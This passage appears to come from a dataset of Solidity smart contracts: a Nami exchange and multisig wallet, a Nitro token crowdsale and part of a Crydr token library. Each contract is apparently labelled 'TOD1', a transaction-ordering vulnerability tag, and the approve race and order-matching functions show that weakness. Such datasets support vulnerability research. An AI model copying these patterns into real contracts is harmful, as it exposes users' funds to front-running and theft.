namiContract.getPrice(); require(price != 0); for (uint i = 0; i < session.investorCount; i++) { if (session.win[i]==result) { etherToBuy = (session.amountInvest[i] - session.amountInvest[i] * rateFee / 100) * rateWin / 100; uint etherReturn = session.amountInvest[i] - session.amountInvest[i] * rateFee / 100; (session.investor[i]).transfer(etherReturn); } else { etherToBuy = (session.amountInvest[i] - session.amountInvest[i] * rateFee / 100) * rateLoss / 100; } namiContract.buy.value(etherToBuy)(session.investor[i]); // reset investor session.investor[i] = 0x0; session.win[i] = false; session.amountInvest[i] = 0; } session.isOpen = false; SessionClose(now, sessionId, _priceClose, price, rateWin, rateLoss, rateFee); sessionId += 1; // require(!session.isReset && !session.isOpen); // reset state session session.priceOpen = 0; session.priceClose = 0; session.isReset = true; session.investOpen = false; session.investorCount = 0; } } contract PresaleToken { mapping (address => uint256) public balanceOf; function burnTokens(address _owner) public; } /* * Contract that is working with ERC223 tokens */ /** * @title Contract that will work with ERC223 tokens. */ contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public returns (bool success); function tokenFallbackBuyer(address _from, uint _value, address _buyer) public returns (bool success); function tokenFallbackExchange(address _from, uint _value, uint _price) public returns (bool success); } /* * Nami Internal Exchange smartcontract----------------------------------------------------------------- * */ contract NamiExchange { using SafeMath for uint; function NamiExchange(address _namiAddress) public { NamiAddr = _namiAddress; } event UpdateBid(address owner, uint price, uint balance); event UpdateAsk(address owner, uint price, uint volume); event BuyHistory(address indexed buyer, address indexed seller, uint price, uint volume, uint time); event SellHistory(address indexed seller, address indexed buyer, uint price, uint volume, uint time); mapping(address => OrderBid) public bid; mapping(address => OrderAsk) public ask; string public name = "NacExchange"; /// address of Nami token address public NamiAddr; /// price of Nac = ETH/NAC uint public price = 1; // struct store order of user struct OrderBid { uint price; uint eth; } struct OrderAsk { uint price; uint volume; } // prevent lost ether function() payable public { require(msg.data.length != 0); require(msg.value == 0); } modifier onlyNami { require(msg.sender == NamiAddr); _; } ///////////////// //---------------------------function about bid Order----------------------------------------------------------- function placeBuyOrder(uint _price) payable public { require(_price > 0 && msg.value > 0 && bid[msg.sender].eth == 0); if (msg.value > 0) { bid[msg.sender].eth = (bid[msg.sender].eth).add(msg.value); bid[msg.sender].price = _price; UpdateBid(msg.sender, _price, bid[msg.sender].eth); } } function sellNac(uint _value, address _buyer, uint _price) public returns (bool success) { require(_price == bid[_buyer].price && _buyer != msg.sender); NamiCrowdSale namiToken = NamiCrowdSale(NamiAddr); uint ethOfBuyer = bid[_buyer].eth; uint maxToken = ethOfBuyer.mul(bid[_buyer].price); require(namiToken.allowance(msg.sender, this) >= _value && _value > 0 && ethOfBuyer != 0 && _buyer != 0x0); if (_value > maxToken) { if (msg.sender.send(ethOfBuyer) && namiToken.transferFrom(msg.sender,_buyer,maxToken)) { // update order bid[_buyer].eth = 0; UpdateBid(_buyer, bid[_buyer].price, bid[_buyer].eth); BuyHistory(_buyer, msg.sender, bid[_buyer].price, maxToken, now); return true; } else { // revert anything revert(); } } else { uint eth = _value.div(bid[_buyer].price); if (msg.sender.send(eth) && namiToken.transferFrom(msg.sender,_buyer,_value)) { // update order bid[_buyer].eth = (bid[_buyer].eth).sub(eth); UpdateBid(_buyer, bid[_buyer].price, bid[_buyer].eth); BuyHistory(_buyer, msg.sender, bid[_buyer].price, _value, now); return true; } else { // revert anything revert(); } } } function closeBidOrder() public { require(bid[msg.sender].eth > 0 && bid[msg.sender].price > 0); // transfer ETH msg.sender.transfer(bid[msg.sender].eth); // update order bid[msg.sender].eth = 0; UpdateBid(msg.sender, bid[msg.sender].price, bid[msg.sender].eth); } //////////////// //---------------------------function about ask Order----------------------------------------------------------- // place ask order by send NAC to Nami Exchange contract // this function place sell order function tokenFallbackExchange(address _from, uint _value, uint _price) onlyNami public returns (bool success) { require(_price > 0 && _value > 0 && ask[_from].volume == 0); if (_value > 0) { ask[_from].volume = (ask[_from].volume).add(_value); ask[_from].price = _price; UpdateAsk(_from, _price, ask[_from].volume); } return true; } function closeAskOrder() public { require(ask[msg.sender].volume > 0 && ask[msg.sender].price > 0); NamiCrowdSale namiToken = NamiCrowdSale(NamiAddr); uint previousBalances = namiToken.balanceOf(msg.sender); // transfer token namiToken.transfer(msg.sender, ask[msg.sender].volume); // update order ask[msg.sender].volume = 0; UpdateAsk(msg.sender, ask[msg.sender].price, 0); // check balance assert(previousBalances < namiToken.balanceOf(msg.sender)); } function buyNac(address _seller, uint _price) payable public returns (bool success) { require(msg.value > 0 && ask[_seller].volume > 0 && ask[_seller].price > 0); require(_price == ask[_seller].price && _seller != msg.sender); NamiCrowdSale namiToken = NamiCrowdSale(NamiAddr); uint maxEth = (ask[_seller].volume).div(ask[_seller].price); uint previousBalances = namiToken.balanceOf(msg.sender); if (msg.value > maxEth) { if (_seller.send(maxEth) && msg.sender.send(msg.value.sub(maxEth))) { // transfer token namiToken.transfer(msg.sender, ask[_seller].volume); SellHistory(_seller, msg.sender, ask[_seller].price, ask[_seller].volume, now); // update order ask[_seller].volume = 0; UpdateAsk(_seller, ask[_seller].price, 0); assert(previousBalances < namiToken.balanceOf(msg.sender)); return true; } else { // revert anything revert(); } } else { uint nac = (msg.value).mul(ask[_seller].price); if (_seller.send(msg.value)) { // transfer token namiToken.transfer(msg.sender, nac); // update order ask[_seller].volume = (ask[_seller].volume).sub(nac); UpdateAsk(_seller, ask[_seller].price, ask[_seller].volume); SellHistory(_seller, msg.sender, ask[_seller].price, nac, now); assert(previousBalances < namiToken.balanceOf(msg.sender)); return true; } else { // revert anything revert(); } } } } contract ERC23 { function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public returns (bool success); } /* * NamiMultiSigWallet smart contract------------------------------- */ /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. contract NamiMultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(!(ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0)); _; } /// @dev Fallback function allows to deposit ether. function() public payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function NamiMultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i = 0; i < _owners.length; i++) { require(!(isOwner[_owners[i]] || _owners[i] == 0)); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) { if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) { if (owners[i] == owner) { owners[i] = newOwner; break; } } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { // Transaction tx = transactions[transactionId]; transactions[transactionId].executed = true; // tx.executed = true; if (transactions[transactionId].destination.call.value(transactions[transactionId].value)(transactions[transactionId].data)) { Execution(transactionId); } else { ExecutionFailure(transactionId); transactions[transactionId].executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; } } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } } _confirmations = new address[](count); for (i = 0; i < count; i++) { _confirmations[i] = confirmationsTemp[i]; } } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } } _transactionIds = new uint[](to - from); for (i = from; i < to; i++) { _transactionIds[i - from] = transactionIdsTemp[i]; } } }
TOD1
pragma solidity ^0.4.18; contract Ownable { address public owner = msg.sender; address private newOwner = address(0); modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender != address(0)); require(msg.sender == newOwner); owner = newOwner; newOwner = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { /** * the total token supply. */ uint256 public totalSupply; /** * @param _owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address _owner) public constant returns (uint256 balance); /** * @notice send `_value` token to `_to` from `msg.sender` * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transfer(address _to, uint256 _value) public returns (bool success); /** * @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /** * @notice `msg.sender` approves `_spender` to spend `_value` tokens * @param _spender The address of the account able to transfer the tokens * @param _value The amount of tokens to be approved for transfer * @return Whether the approval was successful or not */ function approve(address _spender, uint256 _value) public returns (bool success); /** * @param _owner The address of the account owning tokens * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens allowed to spent */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining); /** * MUST trigger when tokens are transferred, including zero value transfers. */ event Transfer(address indexed _from, address indexed _to, uint256 _value); /** * MUST trigger on any successful call to approve(address _spender, uint256 _value) */ event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * @title Standard ERC20 token * * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md * @dev Based on code by OpenZeppelin: https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/StandardToken.sol */ contract ERC20Token is ERC20 { using SafeMath for uint256; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] +=_value; Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_to] += _value; Transfer(_from, _to, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract NitroToken is ERC20Token, Ownable { string public constant name = "Nitro"; string public constant symbol = "NOX"; uint8 public constant decimals = 18; function NitroToken(uint256 _totalSupply) public { totalSupply = _totalSupply; balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } function acceptOwnership() public { address oldOwner = owner; super.acceptOwnership(); balances[owner] = balances[oldOwner]; balances[oldOwner] = 0; Transfer(oldOwner, owner, balances[owner]); } } contract Declaration { enum TokenTypes { crowdsale, interactive, icandy, consultant, team, reserve } mapping(uint => uint256) public balances; uint256 public preSaleStart = 1511020800; uint256 public preSaleEnd = 1511452800; uint256 public saleStart = 1512057600; uint256 public saleStartFirstDayEnd = saleStart + 1 days; uint256 public saleStartSecondDayEnd = saleStart + 3 days; uint256 public saleEnd = 1514304000; uint256 public teamFrozenTokens = 4800000 * 1 ether; uint256 public teamUnfreezeDate = saleEnd + 182 days; uint256 public presaleMinValue = 5 ether; uint256 public preSaleRate = 1040; uint256 public saleRate = 800; uint256 public saleRateFirstDay = 1000; uint256 public saleRateSecondDay = 920; NitroToken public token; function Declaration() public { balances[uint8(TokenTypes.crowdsale)] = 60000000 * 1 ether; balances[uint8(TokenTypes.interactive)] = 6000000 * 1 ether; balances[uint8(TokenTypes.icandy)] = 3000000 * 1 ether; balances[uint8(TokenTypes.consultant)] = 1200000 * 1 ether; balances[uint8(TokenTypes.team)] = 7200000 * 1 ether; balances[uint8(TokenTypes.reserve)] = 42600000 * 1 ether; token = new NitroToken(120000000 * 1 ether); } modifier withinPeriod(){ require(isPresale() || isSale()); _; } function isPresale() public constant returns (bool){ return now>=preSaleStart && now<=preSaleEnd; } function isSale() public constant returns (bool){ return now >= saleStart && now <= saleEnd; } function rate() public constant returns (uint256) { if (isPresale()) { return preSaleRate; } else if (now>=saleStart && now<=(saleStartFirstDayEnd)){ return saleRateFirstDay; } else if (now>(saleStartFirstDayEnd) && now<=(saleStartSecondDayEnd)){ return saleRateSecondDay; } return saleRate; } } contract Crowdsale is Declaration, Ownable{ using SafeMath for uint256; address public wallet; uint256 public weiLimit = 6 ether; uint256 public satLimit = 30000000; mapping(address => bool) users; mapping(address => uint256) weiOwed; mapping(address => uint256) satOwed; mapping(address => uint256) weiTokensOwed; mapping(address => uint256) satTokensOwed; uint256 public weiRaised; uint256 public satRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(address _wallet) Declaration public { wallet = _wallet; } function () public payable { buy(); } function weiFreeze(address _addr, uint256 _value) internal { uint256 amount = _value * rate(); balances[0] = balances[0].sub(amount); weiOwed[_addr] += _value; weiTokensOwed[_addr] += amount; } function weiTransfer(address _addr, uint256 _value) internal { uint256 amount = _value * rate(); balances[0] = balances[0].sub(amount); token.transfer(_addr, amount); weiRaised += _value; TokenPurchase(_addr, _addr, _value, amount); } function buy() withinPeriod public payable returns (bool){ if (isPresale()) { require(msg.value >= presaleMinValue); }else{ require(msg.value > 0); } if (weiOwed[msg.sender]>0) { weiFreeze(msg.sender, msg.value); } else if (msg.value>weiLimit && !users[msg.sender]) { weiFreeze(msg.sender, msg.value.sub(weiLimit)); weiTransfer(msg.sender, weiLimit); } else { weiTransfer(msg.sender, msg.value); } return true; } function _verify(address _addr) onlyOwner internal { users[_addr] = true; weiRaised += weiOwed[_addr]; satRaised += satOwed[_addr]; token.transfer(_addr, weiTokensOwed[_addr] + satTokensOwed[_addr]); TokenPurchase(_addr, _addr, 0, weiTokensOwed[_addr] + satTokensOwed[_addr]); weiOwed[_addr]=0; satOwed[_addr]=0; weiTokensOwed[_addr]=0; satTokensOwed[_addr]=0; } function verify(address _addr) public returns(bool){ _verify(_addr); return true; } function isVerified(address _addr) public constant returns(bool){ return users[_addr]; } function getWeiTokensOwed(address _addr) public constant returns (uint256){ return weiTokensOwed[_addr]; } function getSatTokensOwed(address _addr) public constant returns (uint256){ return satTokensOwed[_addr]; } function owedTokens(address _addr) public constant returns (uint256){ return weiTokensOwed[_addr] + satTokensOwed[_addr]; } function getSatOwed(address _addr) public constant returns (uint256){ return satOwed[_addr]; } function getWeiOwed(address _addr) public constant returns (uint256){ return weiOwed[_addr]; } function satFreeze(address _addr, uint256 _wei, uint _sat) private { uint256 amount = _wei * rate(); balances[0] = balances[0].sub(amount); satOwed[_addr] += _sat; satTokensOwed[_addr] += amount; } function satTransfer(address _addr, uint256 _wei, uint _sat) private { uint256 amount = _wei * rate(); balances[0] = balances[0].sub(amount); token.transfer(_addr, amount); TokenPurchase(_addr, _addr, _wei, amount); satRaised += _sat; } function buyForBtc( address _addr, uint256 _sat, uint256 _satOwed, uint256 _wei, uint256 _weiOwed ) onlyOwner withinPeriod public { require(_addr != address(0)); satFreeze(_addr, _weiOwed, _satOwed); satTransfer(_addr, _wei, _sat); } function refundWei(address _addr, uint256 _amount) onlyOwner public returns (bool){ _addr.transfer(_amount); balances[0] += weiTokensOwed[_addr]; weiTokensOwed[_addr] = 0; weiOwed[_addr] = 0; return true; } function refundedSat(address _addr) onlyOwner public returns (bool){ balances[0] += satTokensOwed[_addr]; satTokensOwed[_addr] = 0; satOwed[_addr] = 0; return true; } function sendOtherTokens( uint8 _index, address _addr, uint256 _amount ) onlyOwner public { require(_addr!=address(0)); if (_index==uint8(TokenTypes.team) && now<teamUnfreezeDate) { uint256 limit = balances[uint8(TokenTypes.team)].sub(teamFrozenTokens); require(_amount<=limit); } token.transfer(_addr, _amount); balances[_index] = balances[_index].sub(_amount); TokenPurchase(owner, _addr, 0, _amount); } function rsrvToSale(uint256 _amount) onlyOwner public { balances[uint8(TokenTypes.reserve)] = balances[uint8(TokenTypes.reserve)].sub(_amount); balances[0] += _amount; } function forwardFunds(uint256 amount) onlyOwner public { wallet.transfer(amount); } function setTokenOwner(address _addr) onlyOwner public { token.transferOwnership(_addr); } }
TOD1
/* Author: Aleksey Selikhov [email protected] */ pragma solidity ^0.4.24; /** * @title CommonModifiersInterface * @dev Base contract which contains common checks. */ contract CommonModifiersInterface { /** * @dev Assemble the given address bytecode. If bytecode exists then the _addr is a contract. */ function isContract(address _targetAddress) internal constant returns (bool); /** * @dev modifier to allow actions only when the _targetAddress is a contract. */ modifier onlyContractAddress(address _targetAddress) { require(isContract(_targetAddress) == true); _; } } /** * @title CommonModifiers * @dev Base contract which contains common checks. */ contract CommonModifiers is CommonModifiersInterface { /** * @dev Assemble the given address bytecode. If bytecode exists then the _addr is a contract. */ function isContract(address _targetAddress) internal constant returns (bool) { require (_targetAddress != address(0x0)); uint256 length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_targetAddress) } return (length > 0); } } /** * @title OwnableInterface * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract OwnableInterface { /** * @dev The getter for "owner" contract variable */ function getOwner() public constant returns (address); /** * @dev Throws if called by any account other than the current owner. */ modifier onlyOwner() { require (msg.sender == getOwner()); _; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable is OwnableInterface { /* Storage */ address owner = address(0x0); address proposedOwner = address(0x0); /* Events */ event OwnerAssignedEvent(address indexed newowner); event OwnershipOfferCreatedEvent(address indexed currentowner, address indexed proposedowner); event OwnershipOfferAcceptedEvent(address indexed currentowner, address indexed proposedowner); event OwnershipOfferCancelledEvent(address indexed currentowner, address indexed proposedowner); /** * @dev The constructor sets the initial `owner` to the passed account. */ constructor () public { owner = msg.sender; emit OwnerAssignedEvent(owner); } /** * @dev Old owner requests transfer ownership to the new owner. * @param _proposedOwner The address to transfer ownership to. */ function createOwnershipOffer(address _proposedOwner) external onlyOwner { require (proposedOwner == address(0x0)); require (_proposedOwner != address(0x0)); require (_proposedOwner != address(this)); proposedOwner = _proposedOwner; emit OwnershipOfferCreatedEvent(owner, _proposedOwner); } /** * @dev Allows the new owner to accept an ownership offer to contract control. */ //noinspection UnprotectedFunction function acceptOwnershipOffer() external { require (proposedOwner != address(0x0)); require (msg.sender == proposedOwner); address _oldOwner = owner; owner = proposedOwner; proposedOwner = address(0x0); emit OwnerAssignedEvent(owner); emit OwnershipOfferAcceptedEvent(_oldOwner, owner); } /** * @dev Old owner cancels transfer ownership to the new owner. */ function cancelOwnershipOffer() external { require (proposedOwner != address(0x0)); require (msg.sender == owner || msg.sender == proposedOwner); address _oldProposedOwner = proposedOwner; proposedOwner = address(0x0); emit OwnershipOfferCancelledEvent(owner, _oldProposedOwner); } /** * @dev The getter for "owner" contract variable */ function getOwner() public constant returns (address) { return owner; } /** * @dev The getter for "proposedOwner" contract variable */ function getProposedOwner() public constant returns (address) { return proposedOwner; } } /** * @title ManageableInterface * @dev Contract that allows to grant permissions to any address * @dev In real life we are no able to perform all actions with just one Ethereum address * @dev because risks are too high. * @dev Instead owner delegates rights to manage an contract to the different addresses and * @dev stay able to revoke permissions at any time. */ contract ManageableInterface { /** * @dev Function to check if the manager can perform the action or not * @param _manager address Manager`s address * @param _permissionName string Permission name * @return True if manager is enabled and has been granted needed permission */ function isManagerAllowed(address _manager, string _permissionName) public constant returns (bool); /** * @dev Modifier to use in derived contracts */ modifier onlyAllowedManager(string _permissionName) { require(isManagerAllowed(msg.sender, _permissionName) == true); _; } } contract Manageable is OwnableInterface, ManageableInterface { /* Storage */ mapping (address => bool) managerEnabled; // hard switch for a manager - on/off mapping (address => mapping (string => bool)) managerPermissions; // detailed info about manager`s permissions /* Events */ event ManagerEnabledEvent(address indexed manager); event ManagerDisabledEvent(address indexed manager); event ManagerPermissionGrantedEvent(address indexed manager, bytes32 permission); event ManagerPermissionRevokedEvent(address indexed manager, bytes32 permission); /* Configure contract */ /** * @dev Function to add new manager * @param _manager address New manager */ function enableManager(address _manager) external onlyOwner onlyValidManagerAddress(_manager) { require(managerEnabled[_manager] == false); managerEnabled[_manager] = true; emit ManagerEnabledEvent(_manager); } /** * @dev Function to remove existing manager * @param _manager address Existing manager */ function disableManager(address _manager) external onlyOwner onlyValidManagerAddress(_manager) { require(managerEnabled[_manager] == true); managerEnabled[_manager] = false; emit ManagerDisabledEvent(_manager); } /** * @dev Function to grant new permission to the manager * @param _manager address Existing manager * @param _permissionName string Granted permission name */ function grantManagerPermission( address _manager, string _permissionName ) external onlyOwner onlyValidManagerAddress(_manager) onlyValidPermissionName(_permissionName) { require(managerPermissions[_manager][_permissionName] == false); managerPermissions[_manager][_permissionName] = true; emit ManagerPermissionGrantedEvent(_manager, keccak256(_permissionName)); } /** * @dev Function to revoke permission of the manager * @param _manager address Existing manager * @param _permissionName string Revoked permission name */ function revokeManagerPermission( address _manager, string _permissionName ) external onlyOwner onlyValidManagerAddress(_manager) onlyValidPermissionName(_permissionName) { require(managerPermissions[_manager][_permissionName] == true); managerPermissions[_manager][_permissionName] = false; emit ManagerPermissionRevokedEvent(_manager, keccak256(_permissionName)); } /* Getters */ /** * @dev Function to check manager status * @param _manager address Manager`s address * @return True if manager is enabled */ function isManagerEnabled( address _manager ) public constant onlyValidManagerAddress(_manager) returns (bool) { return managerEnabled[_manager]; } /** * @dev Function to check permissions of a manager * @param _manager address Manager`s address * @param _permissionName string Permission name * @return True if manager has been granted needed permission */ function isPermissionGranted( address _manager, string _permissionName ) public constant onlyValidManagerAddress(_manager) onlyValidPermissionName(_permissionName) returns (bool) { return managerPermissions[_manager][_permissionName]; } /** * @dev Function to check if the manager can perform the action or not * @param _manager address Manager`s address * @param _permissionName string Permission name * @return True if manager is enabled and has been granted needed permission */ function isManagerAllowed( address _manager, string _permissionName ) public constant onlyValidManagerAddress(_manager) onlyValidPermissionName(_permissionName) returns (bool) { return (managerEnabled[_manager] && managerPermissions[_manager][_permissionName]); } /* Helpers */ /** * @dev Modifier to check manager address */ modifier onlyValidManagerAddress(address _manager) { require(_manager != address(0x0)); _; } /** * @dev Modifier to check name of manager permission */ modifier onlyValidPermissionName(string _permissionName) { require(bytes(_permissionName).length != 0); _; } } /** * @title PausableInterface * @dev Base contract which allows children to implement an emergency stop mechanism. * @dev Based on zeppelin's Pausable, but integrated with Manageable * @dev Contract is in paused state by default and should be explicitly unlocked */ contract PausableInterface { /** * Events */ event PauseEvent(); event UnpauseEvent(); /** * @dev called by the manager to pause, triggers stopped state */ function pauseContract() public; /** * @dev called by the manager to unpause, returns to normal state */ function unpauseContract() public; /** * @dev The getter for "paused" contract variable */ function getPaused() public constant returns (bool); /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenContractNotPaused() { require(getPaused() == false); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenContractPaused { require(getPaused() == true); _; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. * @dev Based on zeppelin's Pausable, but integrated with Manageable * @dev Contract is in paused state by default and should be explicitly unlocked */ contract Pausable is ManageableInterface, PausableInterface { /** * Storage */ bool paused = true; /** * @dev called by the manager to pause, triggers stopped state */ function pauseContract() public onlyAllowedManager('pause_contract') whenContractNotPaused { paused = true; emit PauseEvent(); } /** * @dev called by the manager to unpause, returns to normal state */ function unpauseContract() public onlyAllowedManager('unpause_contract') whenContractPaused { paused = false; emit UnpauseEvent(); } /** * @dev The getter for "paused" contract variable */ function getPaused() public constant returns (bool) { return paused; } } /** * @title CrydrViewERC20Interface * @dev ERC20 interface to use in applications */ contract CrydrViewERC20Interface { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function 